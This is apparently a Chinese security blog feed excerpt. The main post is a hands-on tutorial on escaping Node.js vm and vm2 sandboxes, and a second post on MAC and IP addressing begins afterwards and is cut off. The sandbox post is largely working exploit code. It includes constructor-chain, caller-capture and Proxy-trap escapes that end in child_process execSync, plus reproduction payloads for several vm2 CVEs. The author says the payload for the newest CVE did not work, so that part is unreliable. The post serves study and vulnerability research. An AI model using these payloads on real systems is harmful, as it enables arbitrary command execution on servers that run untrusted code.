&#x27;myProcess.mainModule.require(&quot;child_process&quot;).execSync(&quot;whoami&quot;).toString()&#x27;;</span><br><span class="line">console.log(vm.runInNewContext(code, context)); </span><br></pre></td></tr></table></figure><hr><h2 id="0x04-进阶防御与挑战：Object-create-null"><a href="#0x04-进阶防御与挑战：Object-create-null" class="headerlink" title="0x04 进阶防御与挑战：Object.create(null)"></a>0x04 进阶防御与挑战：<code>Object.create(null)</code></h2><p>为了防御上述的 <code>this.constructor</code> 攻击，聪明的开发者开始使用 <code>Object.create(null)</code> 来创建上下文。</p><p>JavaScript</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">const vm = require(&#x27;vm&#x27;);</span><br><span class="line">const script = `this.constructor.constructor(&#x27;return process&#x27;)()`;</span><br><span class="line">const sandbox = Object.create(null); // 创建一个没有原型链的极简对象</span><br><span class="line">const context = vm.createContext(sandbox);</span><br><span class="line">const res = vm.runInContext(script, context); // 这里会报错！</span><br></pre></td></tr></table></figure><p><strong>为什么失效了？</strong> 因为 <code>Object.create(null)</code> 创建的对象<strong>没有原型</strong>（<code>__proto__</code> 为 <code>undefined</code>）。沙箱内的 <code>this</code> 无法调用 <code>.constructor</code>，第一条路被彻底堵死。</p><hr><h2 id="0x05-无上下文逃逸：神技-arguments-callee-caller"><a href="#0x05-无上下文逃逸：神技-arguments-callee-caller" class="headerlink" title="0x05 无上下文逃逸：神技 arguments.callee.caller"></a>0x05 无上下文逃逸：神技 <code>arguments.callee.caller</code></h2><p>面对 <code>Object.create(null)</code>，原型链断了怎么办？我们可以利用 JavaScript 的<strong>调用栈</strong>特性。</p><blockquote><p><strong>核心利器：<code>arguments.callee.caller</code></strong> &gt; 它可以返回<strong>当前函数的调用者</strong>。如果我们在沙箱里设下埋伏，诱导沙箱外的“宿主”来调用沙箱里的函数，那么 <code>caller</code> 就会指向宿主环境中的对象！</p></blockquote><h3 id="技巧-A：重写-toString-诱导宿主"><a href="#技巧-A：重写-toString-诱导宿主" class="headerlink" title="技巧 A：重写 __toString 诱导宿主"></a>技巧 A：重写 <code>__toString</code> 诱导宿主</h3><p>思路：在沙箱中返回一个对象，重写它的 <code>toString</code> 方法。当宿主环境尝试将这个返回值与字符串拼接（例如 <code>console.log(&#39;Hello &#39; + res)</code>）时，会隐式触发 <code>toString</code>。 此时，是宿主环境（外）触发了 <code>toString</code>（内），<code>caller</code> 成功捕获宿主。</p><p>JavaScript</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">const vm = require(&#x27;vm&#x27;);</span><br><span class="line">const script = `(() =&gt; &#123;</span><br><span class="line">    const a = &#123;&#125;;</span><br><span class="line">    a.toString = function () &#123;</span><br><span class="line">        // 捕获沙箱外的调用者</span><br><span class="line">        const cc = arguments.callee.caller;</span><br><span class="line">        // 顺着调用者拿到宿主的 process</span><br><span class="line">        const p = (cc.constructor.constructor(&#x27;return process&#x27;))();</span><br><span class="line">        return p.mainModule.require(&#x27;child_process&#x27;).execSync(&#x27;whoami&#x27;).toString();</span><br><span class="line">    &#125;</span><br><span class="line">    return a; // 将恶意对象返回给外部</span><br><span class="line">&#125;)()`;</span><br><span class="line"> </span><br><span class="line">const sandbox = Object.create(null);</span><br><span class="line">const context = new vm.createContext(sandbox);</span><br><span class="line">const res = vm.runInContext(script, context);</span><br><span class="line">// 宿主无意中拼接字符串，触发了陷阱！</span><br><span class="line">console.log(&#x27;Hello &#x27; + res); </span><br></pre></td></tr></table></figure><h3 id="技巧-B：使用-Proxy-拦截任意属性"><a href="#技巧-B：使用-Proxy-拦截任意属性" class="headerlink" title="技巧 B：使用 Proxy 拦截任意属性"></a>技巧 B：使用 <code>Proxy</code> 拦截任意属性</h3><p>思路：返回一个 <code>Proxy</code>（代理）对象。只要宿主环境尝试读取返回结果的<strong>任何属性</strong>（如 <code>res.abc</code>），就会触发 <code>get</code> 钩子，同样可以捕获 <code>caller</code>。</p><p>JavaScript</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">const vm = require(&quot;vm&quot;);</span><br><span class="line">const script = `(() =&gt;&#123;</span><br><span class="line">    const a = new Proxy(&#123;&#125;, &#123;</span><br><span class="line">        get: function()&#123;</span><br><span class="line">            const cc = arguments.callee.caller;</span><br><span class="line">            const p = (cc.constructor.constructor(&#x27;return process&#x27;))();</span><br><span class="line">            return p.mainModule.require(&#x27;child_process&#x27;).execSync(&#x27;whoami&#x27;).toString();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;)</span><br><span class="line">    return a;</span><br><span class="line">&#125;)()`;</span><br><span class="line">const sandbox = Object.create(null);</span><br><span class="line">const context = new vm.createContext(sandbox);</span><br><span class="line">const res = vm.runInContext(script, context);</span><br><span class="line">console.log(res.abc); // 宿主读取属性，触发 get 陷阱！</span><br></pre></td></tr></table></figure><h3 id="技巧-C：终极形态——主动抛出异常（Error-逃逸）"><a href="#技巧-C：终极形态——主动抛出异常（Error-逃逸）" class="headerlink" title="技巧 C：终极形态——主动抛出异常（Error 逃逸）"></a>技巧 C：终极形态——主动抛出异常（Error 逃逸）</h3><p>思路：以上两种方法都需要宿主配合（拼接字符串或读取属性）。如果宿主仅仅是捕获了异常并打印呢？ 我们可以在沙箱中直接 <code>throw</code>（抛出）一个带有 <code>Proxy</code> 的错误对象。当宿主环境 <code>catch(e)</code> 并尝试将错误信息 <code>e</code> 打印出来时（字符串拼接），就会触发逃逸。</p><p>JavaScript</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">const vm = require(&quot;vm&quot;);</span><br><span class="line">const script = `</span><br><span class="line">    // 主动抛出 Proxy 错误</span><br><span class="line">    throw new Proxy(&#123;&#125;, &#123;</span><br><span class="line">        get: function()&#123;</span><br><span class="line">            const cc = arguments.callee.caller;</span><br><span class="line">            const p = (cc.constructor.constructor(&#x27;return process&#x27;))();</span><br><span class="line">            return p.mainModule.require(&#x27;child_process&#x27;).execSync(&#x27;whoami&#x27;).toString();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;)</span><br><span class="line">`;</span><br><span class="line">try &#123;</span><br><span class="line">    vm.runInContext(script, vm.createContext(Object.create(null)));</span><br><span class="line">&#125; catch(e) &#123;</span><br><span class="line">    // 宿主打印错误信息，字符串拼接触发 get 钩子</span><br><span class="line">    console.log(&quot;error:&quot; + e); </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>然后自己搞了个环境 用最基础的payload跑通</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">const vm = require(&#x27;vm&#x27;);</span><br><span class="line"></span><br><span class="line">console.log(&quot;xiexie&quot;);</span><br><span class="line"></span><br><span class="line">const sandbox = &#123;</span><br><span class="line">    user: &#x27;xiexie&#x27;</span><br><span class="line">&#125;;</span><br><span class="line">vm.createContext(sandbox);</span><br></pre></td></tr></table></figure><p>payload如下</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">// a. 获取沙箱的全局对象 (this 指向 sandbox)</span><br><span class="line">// b. 拿到宿主环境的 Object 构造函数 (this.constructor)</span><br><span class="line">// c. 拿到宿主环境的 Function 构造函数 (this.constructor.constructor)</span><br><span class="line">// d. 动态创建一个函数并立刻执行，返回宿主的 process 对象</span><br><span class="line">const hostProcess = this.constructor.constructor(&#x27;return process&#x27;)();</span><br><span class="line"></span><br><span class="line">// e. 拿到 process 后，引入 child_process 模块执行系统命令</span><br><span class="line">hostProcess.mainModule.require(&#x27;child_process&#x27;).execSync(&#x27;calc&#x27;);</span><br></pre></td></tr></table></figure><p><img src="/images/97.png"><br>也是执行完这里就系统调用出了计算机 当然什么命令都是可以执行的</p><h1 id="vm2"><a href="#vm2" class="headerlink" title="vm2"></a><code>vm2</code></h1><p>既然原生的 Context 隔离像筛子一样漏风，<code>vm2</code> 的作者决定在这个“玻璃房”外面，用 JavaScript 的高级特性生生浇筑出一堵“铁墙”。</p><p>对比 <code>vm1</code>，<code>vm2</code> 做了以下三次史诗级的升级：</p><h3 id="升级一：ES6-Proxy-代理之墙"><a href="#升级一：ES6-Proxy-代理之墙" class="headerlink" title="升级一：ES6 Proxy 代理之墙"></a>升级一：ES6 Proxy 代理之墙</h3><p>原生 <code>vm</code> 允许你直接触摸宿主传进来的对象。而 <code>vm2</code> 引入了 ES6 的 <code>Proxy</code> 对象。 在 <code>vm2</code> 中，<strong>任何</strong>跨越沙箱边界的对象，都会被强制套上一层 <code>Proxy</code> 壳子。</p><ul><li><p><strong>当你试图在沙箱里访问 <code>this.constructor</code> 时：</strong></p><ul><li><p>原生 <code>vm</code>：直接返回宿主的 <code>Function</code> 构造器 -&gt; <strong>RCE 成功</strong>。</p></li><li><p><code>vm2</code>：触发 Proxy 的 <code>get</code> 拦截器。<code>vm2</code> 的源码会检查：“你想访问 <code>constructor</code>？危险！”，然后返回一个沙箱内部的安全 <code>Function</code>，或者直接抛出异常 -&gt; <strong>逃逸失败</strong>。</p></li></ul></li></ul><h3 id="升级二：Contextify-与-Decontextify"><a href="#升级二：Contextify-与-Decontextify" class="headerlink" title="升级二：Contextify 与 Decontextify"></a>升级二：Contextify 与 Decontextify</h3><p><code>vm2</code> 在源码中实现了两个极其复杂的对象转换函数，相当于沙箱与宿主之间的“海关”。</p><ul><li><p><strong>Contextify（沙箱化）：</strong> 当<strong>宿主</strong>的对象&#x2F;函数进入<strong>沙箱</strong>时，必须经过 Contextify。它会把宿主对象的敏感属性全部过滤，并包上 Proxy，变成一个“安全”的伪造对象。</p></li><li><p><strong>Decontextify（去沙箱化）：</strong> 当<strong>沙箱</strong>的对象（比如函数的返回值）要输出给<strong>宿主</strong>时，必须经过 Decontextify。防止沙箱在返回值里埋地雷（比如我们在 0x04 讲过的，返回一个重写了 <code>toString</code> 的恶意对象来反向捕获宿主）。</p></li></ul><h3 id="升级三：重写危险的内置-API-sandbox-js"><a href="#升级三：重写危险的内置-API-sandbox-js" class="headerlink" title="升级三：重写危险的内置 API (sandbox.js)"></a>升级三：重写危险的内置 API (<code>sandbox.js</code>)</h3><p>在原生 <code>vm</code> 中，如果你不小心把 <code>global</code> 传进去，沙箱就能直接用 <code>setTimeout</code>、<code>Buffer</code> 等内置模块搞事情。 <code>vm2</code> 为了防患于未然，在源码的 <code>sandbox.js</code> 中，直接**重写并 mock（模拟）**了大量的 Node.js 内置对象：</p><ul><li><p>它不给你真实的 <code>Buffer</code>，而是给你一个被阉割过的安全 <code>Buffer</code>。</p></li><li><p>它劫持了 <code>setTimeout</code> 和 <code>setInterval</code>，防止你利用定时器逃逸。</p></li><li><p>彻底屏蔽 <code>process</code> 和 <code>require</code></p></li></ul><p>还是有洞 下面复现危害很大的几个CVE</p><h3 id="1-CVE-2019-10761：极限爆栈（Call-Stack-Overflow）逃逸"><a href="#1-CVE-2019-10761：极限爆栈（Call-Stack-Overflow）逃逸" class="headerlink" title="1. CVE-2019-10761：极限爆栈（Call Stack Overflow）逃逸"></a>1. CVE-2019-10761：极限爆栈（Call Stack Overflow）逃逸</h3><ul><li><p><strong>复现环境：</strong> Node.js v12.x 或 v14.x</p></li><li><p><strong>安装命令：</strong> <code>npm install vm2@3.6.10</code></p></li></ul><p>这个漏洞的精髓在于**“利用 V8 引擎底层的物理限制”<strong>。 我们无法通过正常的 Proxy 访问外部对象，但我们可以</strong>逼迫**外部函数在执行时抛出错误。当调用栈（Call Stack）达到 V8 的最大深度（通常是 10000 左右）时，如果恰好轮到宿主的函数（如 <code>Buffer.prototype.write</code>）入栈，引擎会直接抛出属于宿主环境的 <code>RangeError: Maximum call stack size exceeded</code> 对象。我们在沙箱里 <code>catch</code> 住它，就拿到了宿主的 constructor。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line">&quot;use strict&quot;;</span><br><span class="line">const &#123; VM &#125; = require(&#x27;vm2&#x27;);</span><br><span class="line"></span><br><span class="line">const untrusted = `</span><br><span class="line">const f = Buffer.prototype.write; // 目标：宿主函数</span><br><span class="line">const ft = &#123; length: 10, utf8Write()&#123;&#125; &#125;;</span><br><span class="line"></span><br><span class="line">function r(i)&#123;</span><br><span class="line">    var x = 0;</span><br><span class="line">    try &#123; x = r(i); &#125; catch(e)&#123;&#125; // 疯狂递归逼近爆栈临界点</span><br><span class="line">    if(typeof(x) !== &#x27;number&#x27;) return x;</span><br><span class="line">    if(x !== i) return x + 1;</span><br><span class="line">    try &#123;</span><br><span class="line">        f.call(ft); // 在爆栈的最后一刻，调用宿主函数！</span><br><span class="line">    &#125; catch(e) &#123;</span><br><span class="line">        return e; // 成功拿到宿主的 Error 对象</span><br><span class="line">    &#125;</span><br><span class="line">    return null;</span><br><span class="line">&#125;</span><br><span class="line">var i = 1;</span><br><span class="line">while(1)&#123;</span><br><span class="line">    try &#123;</span><br><span class="line">        // 拿到宿主异常对象后，常规连招 RCE</span><br><span class="line">        i = r(i).constructor.constructor(&quot;return process&quot;)();</span><br><span class="line">        break;</span><br><span class="line">    &#125; catch(x) &#123; i++; &#125;</span><br><span class="line">&#125;</span><br><span class="line">i.mainModule.require(&quot;child_process&quot;).execSync(&quot;calc&quot;); // Mac 换 open -a Calculator</span><br><span class="line">`;</span><br><span class="line"></span><br><span class="line">try &#123;</span><br><span class="line">    new VM().run(untrusted);</span><br><span class="line">&#125; catch(x) &#123; console.log(x); &#125;</span><br></pre></td></tr></table></figure><p><img src="/images/98.png"></p><h3 id="2-CVE-2021-23449：动态-import-语法层逃脱"><a href="#2-CVE-2021-23449：动态-import-语法层逃脱" class="headerlink" title="2. CVE-2021-23449：动态 import() 语法层逃脱"></a>2. CVE-2021-23449：动态 <code>import()</code> 语法层逃脱</h3><ul><li><p><strong>复现环境：</strong> Node.js v14.x</p></li><li><p><strong>安装命令：</strong> <code>npm install vm2@3.9.3</code></p></li></ul><p><code>vm2</code> 通过重写 <code>require</code> 和 Proxy 拦截了绝大部分模块导入。但是，作者忽略了 ES6 新增的<strong>动态 <code>import()</code></strong>。<code>import()</code> 在 JS 规范中是一个<strong>底层的语法关键字</strong>，而不是普通的内置函数。<code>vm2</code> 当时没有对 <code>import()</code> 返回的 Promise 对象套 Proxy。沙箱代码一执行 <code>import()</code>，返回的直接就是裸露的宿主 Promise 对象，降维打击瞬间完成。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">const &#123; VM &#125; = require(&#x27;vm2&#x27;);</span><br><span class="line">const vm = new VM();</span><br><span class="line"></span><br><span class="line">// 我们甚至不需要 foo.js 存在，因为即使抛出异常，返回的 Promise 也是宿主的</span><br><span class="line">const code = `</span><br><span class="line">    let res = import(&#x27;./foo.js&#x27;);</span><br><span class="line">    // res 是宿主 Promise，其 toString 也是宿主的方法</span><br><span class="line">    res.toString.constructor(&quot;return process&quot;)().mainModule.require(&quot;child_process&quot;).execSync(&quot;calc&quot;);</span><br><span class="line">`;</span><br><span class="line"></span><br><span class="line">vm.run(code);</span><br></pre></td></tr></table></figure><p><img src="/images/99.png"></p><h3 id="3-CVE-2023-29017：Error-prepareStackTrace-底层泄露"><a href="#3-CVE-2023-29017：Error-prepareStackTrace-底层泄露" class="headerlink" title="3. CVE-2023-29017：Error.prepareStackTrace 底层泄露"></a>3. CVE-2023-29017：<code>Error.prepareStackTrace</code> 底层泄露</h3><ul><li><p><strong>复现环境：</strong> Node.js v18.x (强烈建议 v18.16.0 左右)</p></li><li><p><strong>安装命令：</strong> <code>npm install vm2@3.9.14</code></p></li></ul><p>这是 2023 年把 <code>vm2</code> 逼上绝路的关键 CVE。当处理未捕获的异步异常时，V8 会在底层调用 <code>Error.prepareStackTrace</code> 来格式化堆栈。在这个极其偏僻的底层回调中，V8 塞入了一个 <code>frames</code>（调用栈帧）数组。<code>vm2</code> 给几乎所有东西都加了 Proxy，唯独漏了这个由 V8 引擎直接抛给回调的 <code>frames</code> 数组。攻击者只需劫持这个裸露的数组，就能顺着 <code>constructor</code> 爬出去。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">const &#123; VM &#125; = require(&#x27;vm2&#x27;);</span><br><span class="line">const vm = new VM();</span><br><span class="line"></span><br><span class="line">const payload = `</span><br><span class="line">    const err = new Error();</span><br><span class="line">    err.name = &#123;</span><br><span class="line">        toString: new Proxy(() =&gt; &quot;&quot;, &#123;</span><br><span class="line">            apply(target, thiz, args) &#123;</span><br><span class="line">                // 这里的 args 就是 V8 漏给我们的未代理的宿主 frames</span><br><span class="line">                const hostProcess = args.constructor.constructor(&quot;return process&quot;)();</span><br><span class="line">                hostProcess.mainModule.require(&quot;child_process&quot;).execSync(&quot;calc&quot;);</span><br><span class="line">                return &quot;Pwned!&quot;;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;)</span><br><span class="line">    &#125;;</span><br><span class="line">    try &#123; err.stack; &#125; catch (al) &#123; &#125; // 触发栈格式化</span><br><span class="line">`;</span><br><span class="line"></span><br><span class="line">vm.run(payload);</span><br></pre></td></tr></table></figure><h3 id="4-CVE-2026-22709-——-globalPromise-劫持"><a href="#4-CVE-2026-22709-——-globalPromise-劫持" class="headerlink" title="4. CVE-2026-22709 —— globalPromise 劫持"></a>4. CVE-2026-22709 —— <code>globalPromise</code> 劫持</h3><ul><li><p><strong>复现环境：</strong> Node.js v20.x 或以上</p></li><li><p><strong>安装命令：</strong> <code>npm install vm2@3.10.0</code> （漏洞影响 3.10.1 及更早版本，在 3.10.2 中被修复）</p></li></ul><p><img src="/images/a1.png"></p><p>这个是最近的漏洞 影响还是挺大的 该漏洞的根本原因在于：<strong>JavaScript 中的 <code>async</code> 函数返回的是底层的 <code>globalPromise</code> 对象，而不是 <code>vm2</code> 内部经过安全净化的 <code>localPromise</code></strong>。 <code>vm2</code> 在 <code>lib/setup-sandbox.js</code> 中严密过滤了 <code>localPromise.prototype.then</code> 的回调函数，却<strong>忘了净化 <code>globalPromise.prototype.then</code> 和 <code>catch</code></strong>。</p><p>如何利用？既然 <code>catch</code> 回调没被过滤，攻击者可以<strong>重写 <code>Function.prototype.call</code></strong>，直接拦截全局 Promise 调用 <code>catch</code> 时的底层执行过程 (<code>globalPromiseCatch.call()</code>)。在拦截器中，攻击者绕过了 <code>ensureThis()</code> 检查，直接捕获到保留着宿主 <code>Error</code> 引用的未净化异常对象！</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line">const &#123; VM &#125; = require(&#x27;vm2&#x27;);</span><br><span class="line">const vm = new VM();</span><br><span class="line"></span><br><span class="line">const payload = `</span><br><span class="line">    let hostProcess;</span><br><span class="line">    </span><br><span class="line">    // 1. 劫持 Function.prototype.call，设下拦截网</span><br><span class="line">    const originalCall = Function.prototype.call;</span><br><span class="line">    Function.prototype.call = function(...args) &#123;</span><br><span class="line">        // args[1] 是传入 catch 的 error 对象</span><br><span class="line">        const target = args[1];</span><br><span class="line">        </span><br><span class="line">        // 如果抓到了漏网的宿主 Error 对象</span><br><span class="line">        if (target &amp;&amp; target.constructor &amp;&amp; target.constructor.name === &#x27;Error&#x27;) &#123;</span><br><span class="line">            try &#123;</span><br><span class="line">                // 祖传技能：连环 constructor 拿 process</span><br><span class="line">                hostProcess = target.constructor.constructor(&#x27;return process&#x27;)();</span><br><span class="line">            &#125; catch(e) &#123;&#125;</span><br><span class="line">        &#125;</span><br><span class="line">        return originalCall.apply(this, args);</span><br><span class="line">    &#125;;</span><br><span class="line"></span><br><span class="line">    // 2. 构造 async 函数，强制返回未净化的 globalPromise</span><br><span class="line">    async function trigger() &#123;</span><br><span class="line">        throw new Error(&quot;2026_Sandbox_Bypass&quot;);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    // 3. 触发未受保护的 globalPromise.prototype.catch</span><br><span class="line">    trigger().catch(err =&gt; &#123;&#125;);</span><br><span class="line">    </span><br><span class="line">    // 4. 收割宿主权限</span><br><span class="line">    if (hostProcess) &#123;</span><br><span class="line">        hostProcess.mainModule.require(&#x27;child_process&#x27;).execSync(&#x27;calc&#x27;);</span><br><span class="line">    &#125;</span><br><span class="line">`;</span><br><span class="line"></span><br><span class="line">vm.run(payload);</span><br></pre></td></tr></table></figure><p>不知道为什么啊 按理说应该可以在比较新的node版本里面复现的 但是这里不行 后面再研究一下</p><p>参考 <a href="https://wlaq.njupt.edu.cn/2026/0208/c14800a297032/page.htm">https://wlaq.njupt.edu.cn/2026/0208/c14800a297032/page.htm</a><br><a href="https://www.cnblogs.com/zpchcbd/p/16899212.html">https://www.cnblogs.com/zpchcbd/p/16899212.html</a><br><a href="https://xz.aliyun.com/news/11305">https://xz.aliyun.com/news/11305</a></p>]]>
    </content>
    <id>http://47.109.24.42/2026/03/03/npm%E4%BD%BF%E7%94%A8%E5%92%8Cvm%E6%B2%99%E7%AE%B1/</id>
    <link href="http://47.109.24.42/2026/03/03/npm%E4%BD%BF%E7%94%A8%E5%92%8Cvm%E6%B2%99%E7%AE%B1/"/>
    <published>2026-03-03T05:00:00.000Z</published>
    <summary>
      <![CDATA[<h1 id="nmp使用"><a href="#nmp使用" class="headerlink" title="nmp使用"></a>nmp使用</h1><p>这里去看官网的详细指令还有民间大佬的精髓总结<br>NPM (Node Package Manager) 不仅仅是]]>
    </summary>
    <title>npm使用和vm沙箱</title>
    <updated>2026-03-03T05:00:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>xiexie</name>
    </author>
    <category term="学习笔记" scheme="http://47.109.24.42/categories/%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"/>
    <category term="学习task" scheme="http://47.109.24.42/tags/%E5%AD%A6%E4%B9%A0task/"/>
    <content>
      <![CDATA[<h1 id="网络世界的坐标系-MAC地址与IP地址"><a href="#网络世界的坐标系-MAC地址与IP地址" class="headerlink" title="网络世界的坐标系 MAC地址与IP地址"></a>网络世界的坐标系 MAC地址与IP地址</h1><h2 id="一、-核心架构：为什么需要物理与逻辑两套寻址体系？"><a href="#一、-核心架构：为什么需要物理与逻辑两套寻址体系？" class="headerlink" title="一、 核心架构：为什么需要物理与逻辑两套寻址体系？"></a>一、 核心架构：为什么需要物理与逻辑两套寻址体系？</h2><p>在网络工程架构中，MAC 地址与 IP 地址的共存并非冗余，而是为了解决网络规模扩展时的<strong>寻址效率</strong>与<strong>物理硬件解耦</strong>问题。</p><ol><li><p><strong>MAC 地址（物理寻址，平面架构）</strong>：工作在数据链路层。MAC 地址是扁平化的（Flat Addressing），它仅唯一标识网络节点的硬件接口（网卡 NIC），不包含任何拓扑位置信息。如果互联网仅依赖 MAC 地址进行路由，全球所有的路由器必须维护一张包含数十亿条目的转发表，这在内存寻址和路由收敛上是完全不可行的。</p></li><li><p><strong>IP 地址（逻辑寻址，层次化架构）</strong>：工作在网络层。IP 地址是层次化的（Hierarchical Addressing），包含了<strong>网络前缀（Network Prefix）和主机标识（Host ID）</strong>。路由器仅需根据网络前缀进行聚合路由（如 BGP 路由表），大幅降低了路由表的规模。</p></li></ol><p><strong>结论</strong>：IP 地址负责提供端到端（End-to-End）的全局路由拓扑定位，而 MAC 地址负责在单跳（Hop-by-Hop）的局域网物理介质中完成帧的精确交付。</p><h2 id="二、-MAC-地址-Media-Access-Control-Address"><a href="#二、-MAC-地址-Media-Access-Control-Address" class="headerlink" title="二、 MAC 地址 (Media Access Control Address)"></a>二、 MAC 地址 (Media Access Control Address)</h2><p>MAC 地址是数据链路层中以太网（IEEE 802.3）和 Wi-Fi（IEEE 802.11）等网络技术的硬件标识。</p><h3 id="1-结构与格式"><a href="#1-结构与格式" class="headerlink" title="1. 结构与格式"></a>1. 结构与格式</h3><p>MAC 地址长度为 <strong>48 bits（6 字节）</strong>，通常以十六进制表示（如 <code>00:1A:2B:3C:4D:5E</code>）。它被严格划分为两部分：</p><ul><li><p><strong>OUI (Organizationally Unique Identifier，24 bits)</strong>：组织唯一标识符，由 IEEE 分配给硬件制造商。</p></li><li><p><strong>UAA (Universally Administered Address，24 bits)</strong>：厂商自行分配的流水号。</p></li></ul><p><strong>首字节控制位深度解析</strong>：</p><p>OUI 的第一个字节的最低两位具有特殊的控制指令含义：</p><ul><li><p><strong>I&#x2F;G 位 (Individual&#x2F;Group, 第 0 位)</strong>：<code>0</code> 表示单播（Unicast）地址，<code>1</code> 表示组播（Multicast）或广播（Broadcast）地址（如 <code>FF:FF:FF:FF:FF:FF</code>）。</p></li><li><p><strong>U&#x2F;L 位 (Universal&#x2F;Local, 第 1 位)</strong>：<code>0</code> 表示全局唯一（出厂烧录），<code>1</code> 表示本地管理（Local Administered）。当操作系统通过软件修改 MAC 地址时，通常会将此位置 <code>1</code>。</p></li></ul><h3 id="2-交换机转发机制-CAM-表"><a href="#2-交换机转发机制-CAM-表" class="headerlink" title="2. 交换机转发机制 (CAM 表)"></a>2. 交换机转发机制 (CAM 表)</h3><p>局域网内的二层交换机通过维护 <strong>MAC 地址表（CAM 表，内容寻址存储器）</strong> 实现精确转发。</p><ul><li><p><strong>源地址学习</strong>：当帧进入交换机端口时，交换机记录帧的源 MAC 地址与入端口的映射关系。</p></li><li><p><strong>未知单播泛洪 (Unknown Unicast Flooding)</strong>：当目标 MAC 地址不在 CAM 表中时，交换机会将该帧复制并向除入端口外的所有端口广播。</p></li></ul><blockquote><p><strong>安全风险：MAC 泛洪攻击 (MAC Flooding)</strong></p><p>攻击者伪造大量具有随机源 MAC 地址的以太网帧发送给交换机，耗尽 CAM 表内存空间。此时交换机将退化为集线器（Hub），对所有数据帧进行泛洪处理，攻击者借此可进行局域网流量嗅探。防御方案通常为配置端口安全（Port Security），限制单端口允许学习的 MAC 数量。</p></blockquote><hr><h2 id="三、-IP-地址-Internet-Protocol-Address"><a href="#三、-IP-地址-Internet-Protocol-Address" class="headerlink" title="三、 IP 地址 (Internet Protocol Address)"></a>三、 IP 地址 (Internet Protocol 